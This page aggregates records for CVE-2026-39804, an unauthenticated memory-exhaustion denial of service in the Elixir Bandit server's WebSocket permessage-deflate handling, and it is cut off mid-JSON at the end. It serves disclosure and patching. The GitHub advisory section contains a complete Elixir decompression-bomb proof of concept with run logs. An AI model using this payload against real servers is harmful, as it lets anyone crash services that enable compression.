Vulnerability-Lookup

CVE-2026-39804 (GCVE-0-2026-39804)

Vulnerability from cvelistv5 – Published: 2026-05-01 20:34 – Updated: 2026-05-27 15:41

Title

WebSocket permessage-deflate inflate has no output-size cap in bandit

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled. 'Elixir.Bandit.WebSocket.PerMessageDeflate':inflate/2 in lib/bandit/websocket/permessage_deflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodata_to_binary/1. The websocket_options.max_frame_size option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs. An unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node's memory and trigger an OOM kill. This vulnerability requires both Bandit's server-level websocket_options.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false. This issue affects bandit: from 0.5.9 before 1.11.0.

Severity

8.2 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-02 01:19 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

EEF mitre root Scorecard

References

4 references

URL	Tags
https://github.com/mtrudel/bandit/security/adviso…	vendor-advisoryrelated
https://cna.erlef.org/cves/CVE-2026-39804.html	related
https://osv.dev/vulnerability/EEF-CVE-2026-39804	related
https://github.com/mtrudel/bandit/commit/8156921a…	patch

Impacted products

2 products

Vendor	Product	Version	CPE status
mtrudel	bandit	Affected: 0.5.9 , < 1.11.0 (semver) cpe:2.3:a:mtrudel:bandit::::::::
mtrudel	bandit	Affected: da4027cff7d2b80319e76fe7a32f84beceec490a , < 8156921a51e684a951221da7bc30a70a022f722e (git) cpe:2.3:a:mtrudel:bandit::::::::

Credits

Peter Ullrich Mat Trudel Jonatan Männchen / EEF

Show details on NVD website

JSON

To clipboard

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          {
            "metrics": [
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                "other": {
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                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
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                    "role": "CISA Coordinator",
                    "timestamp": "2026-05-02T01:19:00.687361Z",
                    "version": "2.0.3"
                  },
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            "providerMetadata": {
              "dateUpdated": "2026-05-02T01:19:30.826Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
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                ],
                "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027"
              ],
              "packageName": "bandit",
              "packageURL": "pkg:hex/bandit",
              "product": "bandit",
              "programFiles": [
                "lib/bandit/websocket/permessage_deflate.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027:inflate/2"
                }
              ],
              "repo": "https://github.com/mtrudel/bandit",
              "vendor": "mtrudel",
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                  "status": "affected",
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              "cpes": [
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              ],
              "defaultStatus": "unaffected",
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              ],
              "packageName": "mtrudel/bandit",
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              "product": "bandit",
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              ],
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          "configurations": [
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                  "value": "The vulnerability is only reachable when both of the following conditions are true:\u003cul\u003e\u003cli\u003eBandit\u0027s server-level \u003ctt\u003ewebsocket_options.compress\u003c/tt\u003e is enabled (it defaults to \u003ctt\u003etrue\u003c/tt\u003e).\u003c/li\u003e\u003cli\u003eThe per-upgrade \u003ctt\u003ecompress: true\u003c/tt\u003e option is passed to \u003ctt\u003eWebSockAdapter.upgrade/4\u003c/tt\u003e (it defaults to \u003ctt\u003efalse\u003c/tt\u003e; Phoenix\u0027s default is also \u003ctt\u003efalse\u003c/tt\u003e).\u003c/li\u003e\u003c/ul\u003eStock Phoenix and LiveView applications are not affected because \u003ctt\u003ecompress: false\u003c/tt\u003e is their default."
                }
              ],
              "value": "The vulnerability is only reachable when both of the following conditions are true:\n- Bandit\u0027s server-level websocket_options.compress is enabled (it defaults to true).\n- The per-upgrade compress: true option is passed to WebSockAdapter.upgrade/4 (it defaults to false; Phoenix\u0027s default is also false).\n\nStock Phoenix and LiveView applications are not affected because compress: false is their default."
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          ],
          "cpeApplicability": [
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              "operator": "AND"
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          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Mat Trudel"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.\u003cp\u003e\u003ctt\u003e\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027:inflate/2\u003c/tt\u003e in \u003ctt\u003elib/bandit/websocket/permessage_deflate.ex\u003c/tt\u003e calls \u003ctt\u003e:zlib.inflate/2\u003c/tt\u003e with no output-size cap, then materializes the entire decompressed payload as a single binary via \u003ctt\u003eIO.iodata_to_binary/1\u003c/tt\u003e. The \u003ctt\u003ewebsocket_options.max_frame_size\u003c/tt\u003e option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.\u003c/p\u003e\u003cp\u003eAn unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node\u0027s memory and trigger an OOM kill.\u003c/p\u003e\u003cp\u003eThis vulnerability requires both Bandit\u0027s server-level \u003ctt\u003ewebsocket_options.compress\u003c/tt\u003e and the per-upgrade \u003ctt\u003ecompress: true\u003c/tt\u003e option passed to \u003ctt\u003eWebSockAdapter.upgrade/4\u003c/tt\u003e to be enabled. Stock Phoenix and LiveView applications are not affected as they default to \u003ctt\u003ecompress: false\u003c/tt\u003e.\u003c/p\u003e\u003cp\u003eThis issue affects bandit: from 0.5.9 before 1.11.0.\u003c/p\u003e"
                }
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              "value": "Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.\n\n\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027:inflate/2 in lib/bandit/websocket/permessage_deflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodata_to_binary/1. The websocket_options.max_frame_size option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.\n\nAn unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node\u0027s memory and trigger an OOM kill.\n\nThis vulnerability requires both Bandit\u0027s server-level websocket_options.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false.\n\nThis issue affects bandit: from 0.5.9 before 1.11.0."
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          "impacts": [
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              "capecId": "CAPEC-130",
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          "metrics": [
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          ],
          "providerMetadata": {
            "dateUpdated": "2026-05-27T15:41:26.362Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
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          "references": [
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              "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
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            {
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            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "WebSocket permessage-deflate inflate has no output-size cap in bandit",
          "workarounds": [
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              "lang": "en",
              "supportingMedia": [
                {
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                  "type": "text/html",
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                }
              ],
              "value": "Do not pass compress: true to WebSockAdapter.upgrade/4. Omitting this option (or setting it to false) prevents permessage-deflate from being negotiated, so the inflate path is never reached."
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        "datePublished": "2026-05-01T20:34:24.604Z",
        "dateReserved": "2026-04-07T12:28:54.916Z",
        "dateUpdated": "2026-05-27T15:41:26.362Z",
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}

FKIE_CVE-2026-39804

Vulnerability from fkie_nvd - Published: 2026-05-01 21:16 - Updated: 2026-06-17 10:42

Severity

8.2 (High) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://cna.erlef.org/cves/CVE-2026-39804.html
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j
	6b3ad84c-e1a6-4bf7-a703-f496b71e49db	https://osv.dev/vulnerability/EEF-CVE-2026-39804
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "collectionURL": "https://repo.hex.pm",
          "cpes": [
            "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027"
          ],
          "packageName": "bandit",
          "packageURL": "pkg:hex/bandit",
          "product": "bandit",
          "programFiles": [
            "lib/bandit/websocket/permessage_deflate.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027:inflate/2"
            }
          ],
          "repo": "https://github.com/mtrudel/bandit",
          "vendor": "mtrudel",
          "versions": [
            {
              "lessThan": "1.11.0",
              "status": "affected",
              "version": "0.5.9",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://github.com",
          "cpes": [
            "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027"
          ],
          "packageName": "mtrudel/bandit",
          "packageURL": "pkg:github/mtrudel/bandit",
          "product": "bandit",
          "programFiles": [
            "lib/bandit/websocket/permessage_deflate.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027:inflate/2"
            }
          ],
          "repo": "https://github.com/mtrudel/bandit",
          "vendor": "mtrudel",
          "versions": [
            {
              "lessThan": "8156921a51e684a951221da7bc30a70a022f722e",
              "status": "affected",
              "version": "da4027cff7d2b80319e76fe7a32f84beceec490a",
              "versionType": "git"
            }
          ]
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion when WebSocket permessage-deflate compression is enabled.\n\n\u0027Elixir.Bandit.WebSocket.PerMessageDeflate\u0027:inflate/2 in lib/bandit/websocket/permessage_deflate.ex calls :zlib.inflate/2 with no output-size cap, then materializes the entire decompressed payload as a single binary via IO.iodata_to_binary/1. The websocket_options.max_frame_size option only bounds the on-the-wire (compressed) frame size, not the decompressed output. A high-ratio compressed frame (e.g. uniform data at ~1024:1 ratio) can stay well under any wire-size limit while forcing GiB-scale heap allocations in the connection process before any application code runs.\n\nAn unauthenticated attacker who can open a WebSocket connection can send a single such frame to exhaust the BEAM node\u0027s memory and trigger an OOM kill.\n\nThis vulnerability requires both Bandit\u0027s server-level websocket_options.compress and the per-upgrade compress: true option passed to WebSockAdapter.upgrade/4 to be enabled. Stock Phoenix and LiveView applications are not affected as they default to compress: false.\n\nThis issue affects bandit: from 0.5.9 before 1.11.0."
    }
  ],
  "id": "CVE-2026-39804",
  "lastModified": "2026-06-17T10:42:36.343",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
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        "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "type": "Secondary"
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    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
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            }
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          "role": "CISA Coordinator",
          "timestamp": "2026-05-02T01:19:00.687361Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-01T21:16:16.853",
  "references": [
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://cna.erlef.org/cves/CVE-2026-39804.html"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
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    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39804"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
    }
  ],
  "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "type": "Secondary"
    }
  ]
}

GHSA-FRH3-6PV6-RC8J

Vulnerability from github – Published: 2026-05-07 03:36 – Updated: 2026-05-07 03:36

Summary

Bandit's unbounded WebSocket inflate causes BEAM OOM with a single frame

Details

Summary

When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.

Details

In lib/bandit/websocket/permessage_deflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodata_to_binary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.

websocket_options.max_frame_size only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.

The bug is gated by two server-side flags being true at the same time:

Bandit's global websocket_options.compress (defaults to true per bandit.ex:198-201).
The per-upgrade connection_opts.compress passed to WebSockAdapter.upgrade/4 (defaults to false per websock_adapter.ex:42-43; Phoenix's default is also false per phoenix/lib/phoenix/transports/websocket.ex:33).

Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).

Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.

PoC

A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir ws_permessage_deflate_bomb.exs.

Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):

Frame on the wire: ~6 MiB.
BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by IO.iodata_to_binary/1), then settled at ~6 GiB until the connection process was GC'd.
Tuning @target_decompressed_bytes upward, or opening N parallel connections, OOM-kills the BEAM outright.

A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented max_frame_size default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.

Impact

Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.

Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.

# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
    |> Plug.Conn.halt()
  end
end

defmodule Bomb do
  @port 4321
  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
  @target_decompressed_bytes 6 * 1024 * 1024 * 1024
  @plaintext_chunk_bytes 10 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    deflate_payload = build_deflate_bomb()
    frame = compressed_text_frame(deflate_payload)

    sampler_pid = spawn_link(&sample_memory_loop/0)

    log("Sending #{byte_size(frame)}-byte compressed frame…")
    :ok = :gen_tcp.send(sock, frame)
    handle_recv(sock)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  end

  # Open a TCP connection and complete the WebSocket handshake with
  # permessage-deflate. Raises if the server doesn't negotiate it.
  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      Sec-WebSocket-Extensions: permessage-deflate\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Stream-deflate @target_decompressed_bytes worth of zeros so the client
  # never holds the full plaintext at once. RFC 7692 uses raw deflate
  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
  # we strip per the spec.
  defp build_deflate_bomb do
    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
    log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")

    zstream = :zlib.open()
    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
    final_flush = :zlib.deflate(zstream, <<>>, :sync)
    :zlib.close(zstream)

    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
    trailer_size = byte_size(deflated) - 4
    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated

    log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
    payload
  end

  # Wrap payload in a single masked WebSocket text frame with RSV1 set
  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
  defp compressed_text_frame(payload) do
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the
  # observation window. That's enough to watch the BEAM heap spike.
  defp handle_recv(sock) do
    case :gen_tcp.recv(sock, 0, 5_000) do
      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
        log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")

      {:ok, bytes} ->
        log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")

      {:error, :timeout} ->
        log("recv timed out (server held the inflated payload silently).")

      {:error, reason} ->
        log("Connection closed: #{inspect(reason)}")
    end
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(250)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Bomb.run()

Logs

10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.

Severity

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.8"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:36:13Z",
    "nvd_published_at": "2026-05-01T21:16:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (`compress: true`), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit\u0027s inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are **not** vulnerable by default \u2014 they ship with `compress: false`. Affected apps are those that have deliberately opted in to permessage-deflate.\n\n### Details\n\nIn `lib/bandit/websocket/permessage_deflate.ex:111-115`, `:zlib.inflate/2` is called without an output-size limit, and `IO.iodata_to_binary/1` then materializes the entire decompressed payload as one contiguous binary in the connection process\u0027s heap.\n\n`websocket_options.max_frame_size` only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no `{:more, ...}` resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.\n\nThe bug is gated by two server-side flags being true at the same time:\n\n- Bandit\u0027s global `websocket_options.compress` (defaults to `true` per `bandit.ex:198-201`).\n- The per-upgrade `connection_opts.compress` passed to `WebSockAdapter.upgrade/4` (defaults to `false` per `websock_adapter.ex:42-43`; Phoenix\u0027s default is also `false` per `phoenix/lib/phoenix/transports/websocket.ex:33`).\n\nBoth must be true for the handshake at `bandit/lib/bandit/websocket/handshake.ex:22` to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. `socket \"/ws\", MySocket, websocket: [compress: true]` in a Phoenix endpoint, or `WebSockAdapter.upgrade(conn, ..., compress: true)` in a plain Plug app).\n\n**Suggested fix:** thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via `:length`.\n\n### PoC\n\nA fully self-contained reproducer is attached below. It boots a local Bandit server that performs a `WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true)`, opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with `elixir ws_permessage_deflate_bomb.exs`.\n\nObserved on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):\n\n- Frame on the wire: ~6 MiB.\n- BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by `IO.iodata_to_binary/1`), then settled at ~6 GiB until the connection process was GC\u0027d.\n- Tuning `@target_decompressed_bytes` upward, or opening N parallel connections, OOM-kills the BEAM outright.\n\nA separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit\u0027s documented `max_frame_size` default is `0` (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.\n\n### Impact\n\nUnauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection \u2014 no authentication, no valid route, no application cooperation.\n\nAffected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are **not** affected \u2014 both default to `compress: false`. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.\n\n```elixir\n# Bandit WebSocket permessage-deflate bomb PoC.\n#\n# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2\n# with no output-size cap. A 